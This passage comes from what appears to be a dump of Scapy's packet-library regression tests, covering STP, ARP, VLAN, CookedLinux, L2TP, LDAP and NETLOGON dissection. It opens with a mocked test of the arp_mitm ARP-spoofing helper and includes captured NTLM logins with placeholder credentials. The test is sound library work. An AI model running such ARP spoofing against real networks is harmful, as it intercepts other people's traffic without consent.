b'\\x11\\x11\\x11\\x11\\x11\\x11\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\t',\n        b'\\x11\\x11\\x11\\x11\\x11\\x11\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\t',\n        b'\"\"\"\"\"\"\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x11',\n        b'\"\"\"\"\"\"\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x08\\x06\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x01\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\xc0\\xa8\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xc0\\xa8\\x00\\x11'\n    ]\n\ndef sendp_spoof(x, *args, **kwargs):\n    pass\n\nfrom unittest import mock\nwith mock.patch('scapy.layers.l2.srp', side_effect=srp_spoof), \\\n     mock.patch('scapy.layers.l2.srploop', side_effect=srploop_spoof), \\\n     mock.patch('scapy.layers.l2.sendp', side_effect=sendp_spoof):\n    arp_mitm(\n        \"192.168.0.1\",\n        \"192.168.0.2/24\",\n        mac1=[\"dd:dd:dd:dd:dd:dd\", \"ee:ee:ee:ee:ee:ee\"],\n        target_mac='aa:aa:aa:aa:aa:aa',\n    )\n\n############\n############\n+ STP tests\n\n= STP - Basic Instantiation\nassert raw(STP()) == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x02\\x00\\x0f\\x00'\n\n= STP - Basic Dissection\n\ns = STP(b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x13\\x14\\x15\\x16\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa\\x00\\x00\\x01\\x00\\x14\\x00\\x05\\x00\\x0f\\x00')\nassert s.rootmac == \"12:13:14:15:16:17\"\nassert s.bridgemac == \"aa:aa:aa:aa:aa:aa\"\nassert s.hellotime == 5\n\n\n############\n############\n+ ARP\n\n= Simple Ether() / ARP() show\n(Ether() / ARP()).show()\n\n= ARP for IPv4\n\np = raw(ARP())\nassert p == raw(ARP(ptype=0x0800))\np = ARP(p)\nassert p.ptype == 0x0800\nassert valid_ip(p.pdst)\nassert valid_ip(p.psrc)\nassert isinstance(p.payload, NoPayload)\n\n= ARP for IPv6\n\np = ARP(raw(ARP(ptype=0x86dd)))\nassert p.ptype == 0x86dd\nassert valid_ip6(p.pdst)\nassert valid_ip6(p.psrc)\nassert isinstance(p.payload, NoPayload)\n\n= Dummy ARP\n\np = ARP(raw(ARP(plen=2, hwlen=1, hwdst=\"x\", hwsrc=\"y\", pdst=\"aa\", psrc=\"bb\")))\nassert p.hwdst == b\"x\"\nassert p.hwsrc == b\"y\"\nassert p.pdst == b\"aa\"\nassert p.psrc == b\"bb\"\nassert isinstance(p.payload, NoPayload)\n\np = ARP(raw(ARP(plen=1, hwlen=1)))\nassert p.hwdst == p.hwsrc == p.pdst == p.psrc == b\"\\x00\"\nassert isinstance(p.payload, NoPayload)\n\np = ARP(pdst='192.168.178.0/24')\nassert \"Net\" in repr(p)\n\n\n############\n############\n+ 802.1Q bridging tests\n\n= 802.1Q VLAN\np = Ether(raw(Ether() / Dot1Q(vlan=99) / b\"Payload\"))\nassert p[Dot1Q].vlan == 99\n\n= 802.1ad Q-in-Q\np = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1Q(vlan=99) / b\"Payload\"))\nassert p[Dot1AD].vlan == 88\nassert p[Dot1Q].vlan == 99\n\n= 802.1ah PBB mac-in-mac\np = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1AH(isid=123456) / Ether() / Dot1Q(vlan=99) / b\"Payload\"))\nassert p[Dot1AD].vlan == 88\nassert p[Dot1AH].isid == 123456\nassert p[Dot1Q].vlan == 99\n\n= 802.1ah PBB mac-in-mac - answer\np = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1AH(isid=123456) / Ether() / Dot1Q(vlan=99) / b\"Payload\"))\nq = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1AH(isid=123456) / Ether() / Dot1Q(vlan=99) / b\"Response\"))\nr = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1AH(isid=123456) / Ether() / Dot1Q(vlan=90) / b\"Payload\"))\ns = Ether(raw(Ether() / Dot1AD(vlan=88) / Dot1AH(isid=987654) / Ether() / Dot1Q(vlan=99) / b\"Payload\"))\n\nassert q.answers(p)\nassert not r.answers(p)\nassert not s.answers(p)\n\n\n############\n############\n+ CookedLinux\n\n= CookedLinux - Basic Dissection\n\ncl = CookedLinux(b'\\x00\\x00\\x03\\x04\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x6f\\x50\\x08\\x00')\nassert cl.pkttype == 0 # unicast\nassert cl.lladdrtype == 772 # loopback\nassert cl.lladdrlen == 6\nassert cl.src == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x6f\\x50'\nassert cl.proto == 2048\n\n= CookedLinuxV2 - Basic Dissection\n\nclv2 = CookedLinuxV2(b'\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x01\\x00\\x06\\xaa\\x1f\\x9c\\xc0\\x5a\\x7e\\x00\\x00')\nassert clv2.proto == 2048\nassert clv2.ifindex == 3\nassert clv2.lladdrtype == 1 # ether\nassert clv2.pkttype == 0 # unicast\nassert clv2.lladdrlen == 6\nassert clv2.src == b'\\xaa\\x1f\\x9c\\xc0\\x5a\\x7e\\x00\\000'\n"
  },
  {
    "path": "test/scapy/layers/l2tp.uts",
    "content": "% L2TP regression tests for Scapy\n\n############\n############\n+ L2TP tests\n\n= L2TP - build\ns = raw(IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/UDP()/L2TP())\ns == b'E\\x00\\x00\"\\x00\\x01\\x00\\x00@\\x11|\\xc8\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x06\\xa5\\x06\\xa5\\x00\\x0e\\xf4\\x83\\x00\\x02\\x00\\x00\\x00\\x00'\n\n= L2TP - build with computed length\nassert bytes(L2TP(hdr=\"control+length\", tunnel_id=1, session_id=2)) == b'\\xc0\\x02\\x00\\x0c\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00'\n\n= L2TP - dissection\np = IP(s)\nL2TP in p and len(p[L2TP]) == 6 and p.tunnel_id == 0 and p.session_id == 0 and p[UDP].chksum == 0xf483\n"
  },
  {
    "path": "test/scapy/layers/ldap.uts",
    "content": "% LDAP TESTS\n\n+ Basic LDAP tests\n\n= Load LDAP\n\nfrom scapy.layers.ldap import *\n\n= LDAP_UnbindRequest\n\npkt = Ether(b'RT\\x00!l+RT\\x00\\x0cG\\xab\\x08\\x00E\\x00\\x003\\xb2\\x8a@\\x00\\x80\\x06\\xd2F\\xc0\\xa8z\\x06\\xc0\\xa8z\\x9c\\xc2\\xfb\\x01\\x85\\xa6\\x89q\"\\xa1\\x076\\xdeP\\x18\\x03\\xffG\\xf0\\x00\\x000\\x05\\x02\\x01\\x07B\\x00')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_UnbindRequest)\n\npkt2 = Ether(raw(pkt))\npkt2.clear_cache()\nassert raw(pkt2) == pkt.original\n\n= LDAP_BindRequest\n\nfrom scapy.layers.ntlm import *\n\npkt = Ether(b'RT\\x00!l+RT\\x00\\x0cG\\xab\\x08\\x00E\\x00\\x00x\\xb2\\x94@\\x00\\x80\\x06\\xd1\\xf7\\xc0\\xa8z\\x06\\xc0\\xa8z\\x9c\\xc2\\xfc\\x01\\x85\\x1d\\x92\\x85\\xc3U/c\\x9fP\\x18 \\x12U\\x96\\x00\\x000B\\x02\\x01\\x0c`=\\x02\\x01\\x03\\x04\\x00\\xa36\\x04\\nGSS-SPNEGO\\x04(NTLMSSP\\x00\\x01\\x00\\x00\\x00\\xb7\\x82\\x08\\xe2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00aJ\\x00\\x00\\x00\\x0f')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_BindRequest)\nassert isinstance(pkt[LDAP].protocolOp.authentication, LDAP_Authentication_SaslCredentials)\nntlm = pkt[LDAP].protocolOp.authentication.credentials\nassert isinstance(ntlm, NTLM_NEGOTIATE)\n\npkt = Ether(b'RT\\x00!l+RT\\x00\\x0cG\\xab\\x08\\x00E\\x00\\x01\\xce\\xb2\\x95@\\x00\\x80\\x06\\xd0\\xa0\\xc0\\xa8z\\x06\\xc0\\xa8z\\x9c\\xc2\\xfc\\x01\\x85\\x1d\\x92\\x86\\x13U/d9P\\x18 \\x11\\x11\\x93\\x00\\x000\\x82\\x01\\x9c\\x02\\x01\\r`\\x82\\x01\\x95\\x02\\x01\\x03\\x04\\x00\\xa3\\x82\\x01\\x8c\\x04\\nGSS-SPNEGO\\x04\\x82\\x01|NTLMSSP\\x00\\x03\\x00\\x00\\x00\\x18\\x00\\x18\\x00h\\x00\\x00\\x00\\xec\\x00\\xec\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00X\\x00\\x00\\x00\\x08\\x00\\x08\\x00X\\x00\\x00\\x00\\x08\\x00\\x08\\x00`\\x00\\x00\\x00\\x10\\x00\\x10\\x00l\\x01\\x00\\x005\\x82\\x88\\xe2\\n\\x00aJ\\x00\\x00\\x00\\x0f\\xa0\\xcd\\xd2\\xaa\\xfdQc\\xacs\\\\\\xf6\\xa3\\x07\\n\\x05$t\\x00o\\x00t\\x00o\\x00W\\x00I\\x00N\\x002\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf1\\xd1\\x8e\\xd6w\\x99\\t\\rdQ\\x05\\xa6iI\\xd1\\x19\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\xb8}\\x868\\xe1\\xc5\\xd7\\x01?\\x84\\xe3V\\xcf&/\\xf0\\x00\\x00\\x00\\x00\\x02\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x01\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x04\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x03\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x07\\x00\\x08\\x00\\xb8}\\x868\\xe1\\xc5\\xd7\\x01\\x06\\x00\\x04\\x00\\x02\\x00\\x00\\x00\\x08\\x000\\x000\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00 \\x00\\x00\\x0b\\xd3s!~\\x13\\x9a\\xcc\\xc77\\xf4\\xcc\\x90b\\xcc|\\x8f\\xd2\\xe8\\xb85cw\\x89#\\x0e\\x8bd\\xfcPYf\\n\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00(\\x00l\\x00d\\x00a\\x00p\\x00/\\x001\\x009\\x002\\x00.\\x001\\x006\\x008\\x00.\\x001\\x002\\x002\\x00.\\x001\\x005\\x006\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00rD\\x8c\\x9d\\x1b\\xa6\\xa9\\x1a7\\xd3\\x96\\x0f\\xbe\\xab\\xecC')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_BindRequest)\nassert isinstance(pkt[LDAP].protocolOp.authentication, LDAP_Authentication_SaslCredentials)\nntlm = pkt[LDAP].protocolOp.authentication.credentials\nassert isinstance(ntlm, NTLM_AUTHENTICATE_V2)\nassert ntlm.Payload[0] == ('UserName', 'toto')\nassert ntlm.Payload[1] == ('Workstation', 'WIN2')\nassert isinstance(ntlm.Payload[3][1], NTLMv2_RESPONSE)\nassert ntlm.Payload[3][1].AvPairs[8].Value == 'ldap/192.168.122.156'\n\npkt = LDAP_BindRequest(bind_name=\"user\", authentication=LDAP_Authentication_simple(\"password\"))\nassert bytes(pkt) == b'`\\x13\\x02\\x01\\x03\\x04\\x04user\\x80\\x08password'\nassert LDAP_BindRequest(b'`\\x13\\x02\\x01\\x03\\x04\\x04user\\x80\\x08password').authentication.val == b\"password\"\n\n= LDAP_BindResponse\n\npkt = Ether(b'RT\\x00\\x0cG\\xabRT\\x00!l+\\x08\\x00E\\x00\\x00\\xc2\\x18\\xec@\\x00\\x80\\x06kV\\xc0\\xa8z\\x9c\\xc0\\xa8z\\x06\\x01\\x85\\xc2\\xfcU/c\\x9f\\x1d\\x92\\x86\\x13P\\x18 \\x12\\x00\\xd1\\x00\\x000\\x81\\x90\\x02\\x01\\x0ca\\x81\\x8a\\n\\x01\\x0e\\x04\\x00\\x04\\x00\\x87\\x81\\x80NTLMSSP\\x00\\x02\\x00\\x00\\x00\\x08\\x00\\x08\\x008\\x00\\x00\\x005\\x82\\x8a\\xe2Kn3@\\x98\\xb7\\xc11\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00@\\x00@\\x00\\x00\\x00\\n\\x00aJ\\x00\\x00\\x00\\x0fW\\x00I\\x00N\\x001\\x00\\x02\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x01\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x04\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x03\\x00\\x08\\x00W\\x00I\\x00N\\x001\\x00\\x07\\x00\\x08\\x00\\xb8}\\x868\\xe1\\xc5\\xd7\\x01\\x00\\x00\\x00\\x00')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_BindResponse)\nntlm = NTLM_Header(pkt[LDAP].protocolOp.serverSaslCreds.val)\nassert isinstance(ntlm, NTLM_CHALLENGE)\nassert ntlm.Payload[0] == ('TargetName', 'WIN1')\nassert ntlm.Payload[1][1][0].Value == \"WIN1\"\n\npkt = Ether(b'RT\\x00\\x0cG\\xabRT\\x00!l+\\x08\\x00E\\x00\\x00\\x96\\x18\\xed@\\x00\\x80\\x06k\\x81\\xc0\\xa8z\\x9c\\xc0\\xa8z\\x06\\x01\\x85\\xc2\\xfcU/d9\\x1d\\x92\\x87\\xb9P\\x18 \\x11\\x01\\xdc\\x00\\x000d\\x02\\x01\\ra_\\n\\x011\\x04\\x00\\x04X8009030C: LdapErr: DSID-0C09058A, comment: AcceptSecurityContext error, data 52e, v4a63\\x00')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_BindResponse)\nassert pkt[LDAP].protocolOp.diagnosticMessage.val == b'8009030C: LdapErr: DSID-0C09058A, comment: AcceptSecurityContext error, data 52e, v4a63\\x00'\n\n= LDAP_SearchRequest\n\npkt = Ether(b'RT\\x00!l+RT\\x00\\x0cG\\xab\\x08\\x00E\\x00\\x00[\\xb2\\x8e@\\x00\\x80\\x06\\xd2\\x1a\\xc0\\xa8z\\x06\\xc0\\xa8z\\x9c\\xc2\\xfc\\x01\\x85\\x1d\\x92\\x84VU/V:P\\x18 \\x14Q<\\x00\\x000%\\x02\\x01\\x08c \\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01d\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00')\nassert isinstance(pkt[LDAP].protocolOp, LDAP_SearchRequest)\nassert pkt[LDAP].protocolOp.baseObject == b\"\"\nassert pkt[LDAP].protocolOp.timeLimit == 0x64\nassert pkt[LDAP].protocolOp.filter.filter.present == b\"objectClass\"\n\npkt2 = Ether(raw(pkt))\npkt2.clear_cache()\nassert raw(pkt2) == pkt.original\n\n= LDAP_SearchResponse\n\npkt = LDAP(b'0\\x82\\nr\\x02\\x01\\x08d\\x82\\nk\\x04\\x000\\x82\\ne0\\x1a\\x04\\x13forestFunctionality1\\x03\\x04\\x0120$\\x04\\x1ddomainControllerFunctionality1\\x03\\x04\\x0170E\\x04\\x17supportedSASLMechanisms1*\\x04\\x06GSSAPI\\x04\\nGSS-SPNEGO\\x04\\x08EXTERNAL\\x04\\nDIGEST-MD50\\x1e\\x04\\x14supportedLDAPVersion1\\x06\\x04\\x013\\x04\\x0120\\x82\\x01\\x98\\x04\\x15supportedLDAPPolicies1\\x82\\x01}\\x04\\x0eMaxPoolThreads\\x04\\x19MaxPercentDirSyncRequests\\x04\\x0fMaxDatagramRecv\\x04\\x10MaxReceiveBuffer\\x04\\x0fInitRecvTimeout\\x04\\x0eMaxConnections\\x04\\x0fMaxConnIdleTime\\x04\\x0bMaxPageSize\\x04\\x16MaxBatchReturnMessages\\x04\\x10MaxQueryDuration\\x04\\x12MaxDirSyncDuration\\x04\\x10MaxTempTableSize\\x04\\x10MaxResultSetSize\\x04\\rMinResultSets\\x04\\x14MaxResultSetsPerConn\\x04\\x16MaxNotificationPerConn\\x04\\x0bMaxValRange\\x04\\x15MaxValRangeTransitive\\x04\\x11ThreadMemoryLimit\\x04\\x18SystemMemoryLimitPercent0\\x82\\x03\\xf2\\x04\\x10supportedControl1\\x82\\x03\\xdc\\x04\\x161.2.840.113556.1.4.319\\x04\\x161.2.840.113556.1.4.801\\x04\\x161.2.840.113556.1.4.473\\x04\\x161.2.840.113556.1.4.528\\x04\\x161.2.840.113556.1.4.417\\x04\\x161.2.840.113556.1.4.619\\x04\\x161.2.840.113556.1.4.841\\x04\\x161.2.840.113556.1.4.529\\x04\\x161.2.840.113556.1.4.805\\x04\\x161.2.840.113556.1.4.521\\x04\\x161.2.840.113556.1.4.970\\x04\\x171.2.840.113556.1.4.1338\\x04\\x161.2.840.113556.1.4.474\\x04\\x171.2.840.113556.1.4.1339\\x04\\x171.2.840.113556.1.4.1340\\x04\\x171.2.840.113556.1.4.1413\\x04\\x172.16.840.1.113730.3.4.9\\x04\\x182.16.840.1.113730.3.4.10\\x04\\x171.2.840.113556.1.4.1504\\x04\\x171.2.840.113556.1.4.1852\\x04\\x161.2.840.113556.1.4.802\\x04\\x171.2.840.113556.1.4.1907\\x04\\x171.2.840.113556.1.4.1948\\x04\\x171.2.840.113556.1.4.1974\\x04\\x171.2.840.113556.1.4.1341\\x04\\x171.2.840.113556.1.4.2026\\x04\\x171.2.840.113556.1.4.2064\\x04\\x171.2.840.113556.1.4.2065\\x04\\x171.2.840.113556.1.4.2066\\x04\\x171.2.840.113556.1.4.2090\\x04\\x171.2.840.113556.1.4.2205\\x04\\x171.2.840.113556.1.4.2204\\x04\\x171.2.840.113556.1.4.2206\\x04\\x171.2.840.113556.1.4.2211\\x04\\x171.2.840.113556.1.4.2239\\x04\\x171.2.840.113556.1.4.2255\\x04\\x171.2.840.113556.1.4.2256\\x04\\x171.2.840.113556.1.4.2309\\x04\\x171.2.840.113556.1.4.2330\\x04\\x171.2.840.113556.1.4.23540\\x81\\xc9\\x04\\x15supportedCapabilities1\\x81\\xaf\\x04\\x171.2.840.113556.1.4.1851\\x04\\x171.2.840.113556.1.4.1670\\x04\\x171.2.840.113556.1.4.1791\\x04\\x171.2.840.113556.1.4.1935\\x04\\x171.2.840.113556.1.4.2080\\x04\\x171.2.840.113556.1.4.2237\\x04\\x171.2.840.113556.1.4.18800h\\x04\\x11subschemaSubentry1S\\x04QCN=Aggregate,CN=Schema,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0\\x81\\x88\\x04\\nserverName1z\\x04xCN=WIN1$ADWIN1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0]\\x04\\x13schemaNamingContext1F\\x04DCN=Schema,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0\\x81\\x95\\x04\\x0enamingContexts1\\x81\\x82\\x04:CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}\\x04DCN=Schema,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0\\x18\\x04\\x0eisSynchronized1\\x06\\x04\\x04TRUE0\\x1e\\x04\\x13highestCommittedUSN1\\x07\\x04\\x05123490\\x81\\x9e\\x04\\rdsServiceName1\\x81\\x8c\\x04\\x81\\x89CN=NTDS Settings,CN=WIN1$ADWIN1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0\\x15\\x04\\x0bdnsHostName1\\x06\\x04\\x04WIN10\"\\x04\\x0bcurrentTime1\\x13\\x04\\x1120211020183502.0Z0Z\\x04\\x1aconfigurationNamingContext1<\\x04:CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}0\\x0c\\x02\\x01\\x08e\\x07\\n\\x01\\x00\\x04\\x00\\x04\\x00')\nassert pkt.getlayer(LDAP, 2)\nassert isinstance(pkt.protocolOp, LDAP_SearchResponseEntry)\nassert isinstance(pkt.getlayer(LDAP, 2).protocolOp, LDAP_SearchResponseResultDone)\n\nassert len(pkt.protocolOp.attributes) == 17\nassert [x.type.val for x in pkt.protocolOp.attributes] == [\n    b'forestFunctionality',\n    b'domainControllerFunctionality',\n    b'supportedSASLMechanisms',\n    b'supportedLDAPVersion',\n    b'supportedLDAPPolicies',\n    b'supportedControl',\n    b'supportedCapabilities',\n    b'subschemaSubentry',\n    b'serverName',\n    b'schemaNamingContext',\n    b'namingContexts',\n    b'isSynchronized',\n    b'highestCommittedUSN',\n    b'dsServiceName',\n    b'dnsHostName',\n    b'currentTime',\n    b'configurationNamingContext'\n]\nassert pkt.protocolOp.attributes[13].values[0].value == b'CN=NTDS Settings,CN=WIN1$ADWIN1,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,CN={7FA71C80-F7BA-4B58-9219-6C6B09E8D0A1}'\n\nassert pkt.getlayer(LDAP, 2).protocolOp.resultCode == 0\n\npkt2 = Ether(raw(pkt))\npkt2.clear_cache()\nassert raw(pkt2) == pkt.original\n\n+ CLDAP tests\n\n= Basic CLDAP dissection & build test\n\npkt = Ether(b'RT\\x00\\xbc\\xe0=RT\\x00y\\xb1F\\x08\\x00E\\x00\\x00\\xa5\\x01\\x1a\\x00\\x00\\x80\\x11\\xc3H\\xc0\\xa8z\\x91\\xc0\\xa8z\\x03\\xf1!\\x01\\x85\\x00\\x91o&0\\x84\\x00\\x00\\x00\\x83\\x02\\x01\\x01c\\x84\\x00\\x00\\x00z\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\xa0\\x84\\x00\\x00\\x00S\\xa3\\x84\\x00\\x00\\x00\"\\x04\\tDnsDomain\\x04\\x15s4.howto.abartlet.net\\xa3\\x84\\x00\\x00\\x00\\x12\\x04\\x04Host\\x04\\nWINDOWS7-3\\xa3\\x84\\x00\\x00\\x00\\r\\x04\\x05NtVer\\x04\\x04\\x16\\x00\\x00\\x000\\x84\\x00\\x00\\x00\\n\\x04\\x08Netlogon')\nassert pkt.protocolOp.filter.filter.vals[2].filter.attributeType == b\"NtVer\"\nassert pkt.protocolOp.attributes[0].type == b\"Netlogon\"\n\nassert raw(pkt[CLDAP]) == b'0k\\x02\\x01\\x01cf\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01\\x00\\x01\\x01\\x00\\xa0G\\xa3\"\\x04\\tDnsDomain\\x04\\x15s4.howto.abartlet.net\\xa3\\x12\\x04\\x04Host\\x04\\nWINDOWS7-3\\xa3\\r\\x04\\x05NtVer\\x04\\x04\\x16\\x00\\x00\\x000\\n\\x04\\x08Netlogon'\n\n= More advanced CLDAP dissection & build test\n\npkt = Ether(b'RT\\x00y\\xb1FRT\\x00\\xbc\\xe0=\\x08\\x00E\\x00\\x00\\xb3\\x00\\x00@\\x00@\\x11\\xc4T\\xc0\\xa8z\\x03\\xc0\\xa8z\\x91\\x01\\x85\\xf1!\\x00\\x9fv\\x960\\x81\\x86\\x02\\x01\\x01d\\x81\\x80\\x04\\x000|0z\\x04\\x08netlogon1n\\x04l\\x17\\x00\\x00\\x00\\xbd\\x11\\x00\\x00t\\x97x\\x1f\\x05;\\xd7B\\x8b\\xb2\\x8c\\xf3\\xd9z\\x7fj\\x02s4\\x05howto\\x08abartlet\\x03net\\x00\\xc0\\x18\\x04obed\\xc0\\x18\\x08S4-HOWTO\\x00\\x04OBED\\x00\\x00\\x17Default-First-Site-Name\\x00\\xc0I\\x05\\x00\\x00\\x00\\xff\\xff\\xff\\xff0\\x0c\\x02\\x01\\x01e\\x07\\n\\x01\\x00\\x04\\x00\\x04\\x00')\nassert pkt.getlayer(CLDAP, 2)\nassert isinstance(pkt.protocolOp[0].attributes[0].values[0], LDAP_AttributeValue)\nassert pkt.getlayer(CLDAP, 2).protocolOp.resultCode == 0x0\n\npkt2 = Ether(raw(pkt))\npkt2.clear_cache()\nassert raw(pkt2) == pkt.original\n\n+ Microsoft LDAP tests\n\n= Test dissection of Microsoft LDAP\n\npkt = LDAP(b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x01c\\x84\\x00\\x00\\x00$\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01d\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x84\\x00\\x00\\x00\\x00')\nassert pkt.protocolOp.filter.filter.present.val == b'objectClass'\nassert pkt.Controls is None\n\n= Test re-build of Microsoft LDAP\n\npkt = LDAP(protocolOp=LDAP_SearchRequest(filter=LDAP_Filter(filter=LDAP_FilterPresent(present=ASN1_STRING(b'objectClass'))), baseObject=ASN1_STRING(b''), scope=ASN1_ENUMERATED(0), derefAliases=ASN1_ENUMERATED(0), sizeLimit=ASN1_INTEGER(0), timeLimit=ASN1_INTEGER(100), attrsOnly=ASN1_BOOLEAN(0)), messageID=ASN1_INTEGER(1), Controls=None)\n\nconf.ASN1_default_long_size = 4\nassert bytes(pkt) == b'0\\x84\\x00\\x00\\x00-\\x02\\x01\\x01c\\x84\\x00\\x00\\x00$\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01d\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x84\\x00\\x00\\x00\\x00'\n\nconf.ASN1_default_long_size = 0\nassert bytes(pkt) == b'0%\\x02\\x01\\x01c \\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x00\\x02\\x01d\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x00'\n\n= Craft new Microsoft LDAP Search Request with Controls\n\nconf.ASN1_default_long_size = 4\n\npkt = LDAP(\n    protocolOp=LDAP_SearchRequest(\n        filter=LDAP_Filter(filter=LDAP_FilterPresent(present=ASN1_STRING(b'objectClass'))),\n        attributes=[\n            LDAP_SearchRequestAttribute(type=ASN1_STRING(b'rootDomainNamingContext')),\n            LDAP_SearchRequestAttribute(type=ASN1_STRING(b'defaultNamingContext')),\n            LDAP_SearchRequestAttribute(type=ASN1_STRING(b'configurationNamingContext'))\n        ],\n        baseObject=ASN1_STRING(b''),\n        scope=ASN1_ENUMERATED(0),\n        derefAliases=ASN1_ENUMERATED(0),\n        sizeLimit=ASN1_INTEGER(1),\n        timeLimit=ASN1_INTEGER(100),\n        attrsOnly=ASN1_BOOLEAN(0)\n    ),\n    messageID=ASN1_INTEGER(2),\n    Controls=[\n        LDAP_Control(controlType=ASN1_STRING(b'1.2.840.113556.1.4.529'), criticality=None, controlValue=ASN1_STRING(b''))\n    ]\n)\n\nassert bytes(pkt) == b'0\\x84\\x00\\x00\\x00\\x9e\\x02\\x01\\x02c\\x84\\x00\\x00\\x00o\\x04\\x00\\n\\x01\\x00\\n\\x01\\x00\\x02\\x01\\x01\\x02\\x01d\\x01\\x01\\x00\\x87\\x0bobjectClass0\\x84\\x00\\x00\\x00K\\x04\\x17rootDomainNamingContext\\x04\\x14defaultNamingContext\\x04\\x1aconfigurationNamingContext\\xa0\\x84\\x00\\x00\\x00 0\\x84\\x00\\x00\\x00\\x1a\\x04\\x161.2.840.113556.1.4.529\\x04\\x00'\n\nconf.ASN1_default_long_size = 0\n\n+ NETLOGON_SAM_LOGON tests\n\n= Dissect NETLOGON_SAM_LOGON_RESPONSE_EX - V1+V5EX+V5EXWITH_IP\n\npkt = NETLOGON(b'\\x17\\x00\\x00\\x00\\xfd\\xf3\\x03\\x00\\x8c#\\xf1G^\\xe5\\xfeL\\x89\\xe8x\\t7\\xb1\\xcd;\\x06domain\\x05local\\x00\\xc0\\x18\\x03DC1\\xc0\\x18\\x06DOMAIN\\x00\\x03DC1\\x00\\x00\\x17Default-First-Site-Name\\x00\\xc0<\\x10\\x02\\x00\\x00\\x00\\xc0\\xa8\\x00d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x00\\x00\\xff\\xff\\xff\\xff')\n\nassert 